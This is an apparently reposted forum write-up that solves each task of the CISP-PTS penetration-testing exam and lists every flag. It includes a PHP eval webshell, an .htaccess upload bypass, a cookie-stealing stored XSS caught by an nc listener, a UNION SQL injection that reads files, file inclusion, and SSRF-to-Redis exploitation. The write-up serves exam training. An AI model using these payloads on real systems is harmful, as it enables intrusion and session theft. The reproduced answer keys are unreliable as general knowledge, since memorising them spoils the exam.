CISP-PTS满分考题全解 | xxxCISP-PTS满分考题全解 – xxx
菜单

CISP-PTS满分考题全解

一月 10, 2022 - i春秋

本帖最后由 我是二水兄 于 2021-12-29 11:48 编辑

作者:zngeek(蓝极战队bluegeek)

from:zngeek – by:左宁の手

mail:zngeek@pm.me


0X00 前言:请认真阅读
本篇文章为国测中心认证的渗透专家考题全解,以真实的考试环境及操作机为例,并且详细讲解各种答题技巧及注意事项,如果你详细阅读理解了该文章,考PTS将手到擒来!!![手动狗头.jpg]


靶机数量:6(基础题4,综合题2)

总分:100(基础题40,综合题60)

KEY数:10(基础题4,综合题6)


每个KEY为10分,基础题每个靶机1个KEY,综合题每个靶机3个KEY


考试整体难度:★★★☆☆ 3星


PTS考试考场会提供两台操作机,分别是WIN7和kali,操作机不能进行任何上传下载操作,所以并不能使用操作机以外的任何文件。

CISP-PTS满分考题全解

本文使用的任何工具、字典及文件等等均是考试操作机上自带。


0X01 基础题目之信息泄露
CISP-PTS满分考题全解

CISP-PTS满分考题全解

用御剑目录扫描工具,探测出存在www.rar的压缩文件

CISP-PTS满分考题全解

下载解压后发现一个info的文本文件,里面内容如下:

CISP-PTS满分考题全解

vi编辑非正常退出会有swp临时缓存文件,所以直接访问http://靶机/config.inc.swp下载该缓存文件,打开后成功找到了KEY

CISP-PTS满分考题全解

KEY为:PLwDPzFp


0X01 基础题目之命令执行
CISP-PTS满分考题全解

CISP-PTS满分考题全解

该题目我以前写过一篇文章详细分析过,这里使用考试时的操作机再详解一遍


访问vul.php,直接返回了以下页面,是需要我们来审计这段代码从而找出可以利用的地方

代码如下:

CISP-PTS满分考题全解

为了方便大家理解,首先给每行代码每一行写上注释

如下图:

CISP-PTS满分考题全解

从注释的代码,我们可以逐步分析该代码块的业务逻辑


1、定义一个文件夹路径的变量

2、创建该文件夹

3、切换到该文件夹工作

4、判断GET方式接收的参数cmd不为空且长度不大于30,就执行该cmd命令

5、判断GET方式接收的参数reset不等于空,则删除创建的文件夹以及里面所有的内容

6、高亮显示当前php文件的所有代码

7、打印输出访问者的ip


这里显而易见,我们只要get提交cmd参数到vul.php页面,且参数长度不大于30,就会执行我们提交的命令。


首先我们需要计算出我们文件夹的路径

知道了文件夹的路径为“/usr/local/apache2/htdocs/sandbox/加上MD5加密的cisp-pts+本机IP地址”

后面的MD5值加密的文件夹名可以直接计算出来,但是考试环境是不通外网的,所以,不能通过在线MD5等等web计算,可以通过操作机上编码工具MD5编码

CISP-PTS满分考题全解

最终我们得到要创建文件夹的路径为/usr/local/apache2/htdocs/sandbox/a9e8722136b72c6508d9cdb7df352ddc

直接写一个一句话木马

http://靶机/vul.php?cmd=echo+'<?php+eval($_POST[‘1′])?>’>1.php

但是我们的cmd参数长度明显超过了30,所以代码并不会执行我们的命令

这里可以通过追加文件的方式,分两次写入

第一次:

CISP-PTS满分考题全解

第二次:

CISP-PTS满分考题全解

注意:第二次追加数据应该是>>两个符号

这样我们就在1.php文件里面写入了我们完整的一句话木马“<?php eval($_POST[‘1’])?>”


用菜刀连接http://靶机/sandbox/a9e8722136b72c6508d9cdb7df352ddc/1.php

密码为1

成功连接上webshell

并且在web的根目录下找到了KEY

CISP-PTS满分考题全解

CISP-PTS满分考题全解

KEY为:DWAOdLQk


0X02 基础题目之文件上传突破
CISP-PTS满分考题全解

CISP-PTS满分考题全解

经过测试,得出结论,该上传过滤仅仅只是判断后缀名,不会判断文件类型等等,只要包含’.p’,’.ph’,’.php’的后缀名,均无法上传

CISP-PTS满分考题全解

这里常规的绕过方法肯定是不行的,经测试,其他很多后缀名靶机是不过滤的,比如说htaccess[手工狗头.jpg]

这里可以通过上传.htaccess文件让php解析我们指定后缀名的文件

.htaccess文件内容如下,意思是将文件zngeek.zn当作php5来进行解析

CISP-PTS满分考题全解

上传.htaccess文件以及我们的一句话木马zngeek.zn

CISP-PTS满分考题全解

CISP-PTS满分考题全解

连接http://靶机/up/zngeek.zn ,密码1

在web根目录下找到了key

CISP-PTS满分考题全解

KEY为:uAMeHui4

0X03 基础题目之流量分析
CISP-PTS满分考题全解

CISP-PTS满分考题全解

通过提示下载流量包,导入到wireshark开始分析

CISP-PTS满分考题全解

首先过滤一下,仅看http的包,在这里发现了一个很可疑的包

CISP-PTS满分考题全解

继续往下看,发现是一个压缩文件

CISP-PTS满分考题全解

将字节流全部导出成压缩文件,发现需要解压密码

CISP-PTS满分考题全解

继续往上分析,追踪一下字节流,成功的找到了密码

CISP-PTS满分考题全解

密码为Adm1n%21,URL解码%21是!,所以解压密码为Adm1n!

CISP-PTS满分考题全解

在web目录下成功找到了KEY

CISP-PTS满分考题全解

KEY为:4tEm21x5


0X04 综合大题(一)
CISP-PTS满分考题全解

这道题有3个KEY,分别要使用到XSS攻击,SQL联合注入,以及文件包含漏洞


经过测试,发现页面post.php存在存储型xss,这里可以直接写一个反弹cookie的xss将管理员的cookie反弹回来

CISP-PTS满分考题全解

在本地开启nc,监听端口9115,成功的返回了cookie

CISP-PTS满分考题全解

修改cookie为返回的cookie,成功进入管理后台,并且找到了KEY1=GzyD4X2J

CISP-PTS满分考题全解

在edit.php中发现了联合注入漏洞,直接get提交payload

id=123123/**/UniOn/**/SelEct/**/1,2,load_file(%22/var/key2%22),4#

将/var/key2文件中的key读出来,KEY2=wE58i4Z8

CISP-PTS满分考题全解

在setting.php中发现了文件包含漏洞

CISP-PTS满分考题全解

直接get提交payload

page=/tmp/key3

将/tmp/key3文件中的key读出来,KEY3=HSIC3uM7

CISP-PTS满分考题全解

至此,该综合题三个KEY全部找到,分别为KEY1=GzyD4X2J,KEY2=wE58i4Z8,KEY3=HSIC3uM7


0X05 综合大题(二)
CISP-PTS满分考题全解

本题有3个KEY,分别使用了SSRF攻击以及redis的利用


如果直接使用http://127.0.0.1/会发现被waf拦截

CISP-PTS满分考题全解

改成localhost后,成功绕过waf,并且在robots.txt文件中发现了一个backup.zip的文件

CISP-PTS满分考题全解

直接下载这个zip文件后,发现里面有一个note.txt,内容如下:

CISP-PTS满分考题全解

在提示中,直接SSRF 5562端口,可以得到第一个KEY=F5Qyixeq

CISP-PTS满分考题全解

根据第二个提示直接访问靶机IP加6738端口是无法连接上redis的

CISP-PTS满分考题全解

这里需要继续使用SSRF来操作redis

可以有很多种方式,这里演示两种方式,第一种写webshell,第二种写公钥连接ssh

通过SSRF逐条执行以下命令通过redis写webshell

CISP-PTS满分考题全解

CISP-PTS满分考题全解

写入成功后,直接连接webshell

http://靶机/a.php 密码为1

在web根目录下找到KEY2=01aLzgmZ

CISP-PTS满分考题全解

在计划任务中,可以找到KEY3=a2V5MzpWTDJvVllYMg==

CISP-PTS满分考题全解

base64解码得到KEY3=VL2oVYX2


下面再说一下redis写公钥连接ssh的方法

首先生成公钥和私钥

CISP-PTS满分考题全解

同样使用SSRF逐行写入如下命令,公钥是我们刚刚生成的公钥

CISP-PTS满分考题全解

CISP-PTS满分考题全解

然后直接ssh带上我们的私钥访问,成功连接上ssh

KEY的位置同上

CISP-PTS满分考题全解

当然通过写计划任务反弹shell这些方式都可以,本题主要是通过SSRF对redis的利用

至此,该综合题的三个KEY全部找到,分别为KEY1=F5Qyixeq,KEY2=01aLzgmZ,KEY3=VL2oVYX2




恭喜你,到这一步,你已经得到了10个KEY,也就是获得了满分100分。



0X06 注意事项(不定期更新)
0x061 认真核对key
操作机是通过网页远程访问的,并且操作机是不能连接广域网的,所以不能传输任何文件,所以我们在操作机上拿到的key要在真机上填写的话,需要手动输入,务必要认真核对key是否输入正确!

0x062 Ask me
有任何问题,可以邮件联系作者 [email]zngeek@pm.me[/email] ,或者可以在zngeek论坛留言zngeek.com

本主题由 bbsadmin1w3R8J 于 2021-12-29 14:38 审核通过

本主题由 bbsadmin1w3R8J 于 2021-12-29 14:38 审核通过

新鲜发帖

CobaltStrike逆向学习系列(3):Beacon C2Profile 解析

新鲜跟帖

【魔法币福利】《DevSecOps实战》2022年春秋好书第一本!

新鲜发帖

CobaltStrike逆向学习系列(3):Beacon C2Profile 解析

新鲜跟帖

【魔法币福利】《DevSecOps实战》2022年春秋好书第一本!

新鲜发帖

CobaltStrike逆向学习系列(3):Beacon C2Profile 解析

新鲜发帖

CobaltStrike逆向学习系列(3):Beacon C2Profile 解析

新鲜跟帖

【魔法币福利】《DevSecOps实战》2022年春秋好书第一本!

新鲜跟帖

【魔法币福利】《DevSecOps实战》2022年春秋好书第一本!


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51